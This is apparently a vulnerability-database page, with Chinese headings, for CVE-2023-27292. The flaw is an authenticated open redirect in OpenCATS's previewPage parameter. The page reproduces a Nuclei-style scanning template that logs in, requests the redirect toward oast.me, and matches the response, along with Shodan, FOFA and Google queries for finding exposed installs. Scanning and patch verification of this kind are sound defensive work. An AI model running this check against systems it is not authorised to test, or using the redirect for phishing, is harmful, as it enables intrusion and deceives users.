CVE-2023-27292: OpenCATS - Open Redirect

日期: 2025-08-01 | 影响软件: OpenCATS | POC: 已公开

漏洞描述

OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.

PoC代码[已公开]

id: CVE-2023-27292

info:
  name: OpenCATS - Open Redirect
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
  remediation: |
    Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27292
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-27292
    cwe-id: CWE-601
    epss-score: 0.07744
    epss-percentile: 0.91611
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve2023,cve,authenticated,tenable,opencats,redirect

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<TITLE>Page Preview</TITLE>'
          - '<FRAME src="https://oast.me">'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ddbe275a5b11f3de106de246642e4a3d92faf41291548ac8175369d4e829c0c0022048776de3935412a57907966de472c137ff9a238ef3e1c8c03d5e6c4304bf4690:922c64590222798bb761d5b6d8e72950

相关漏洞推荐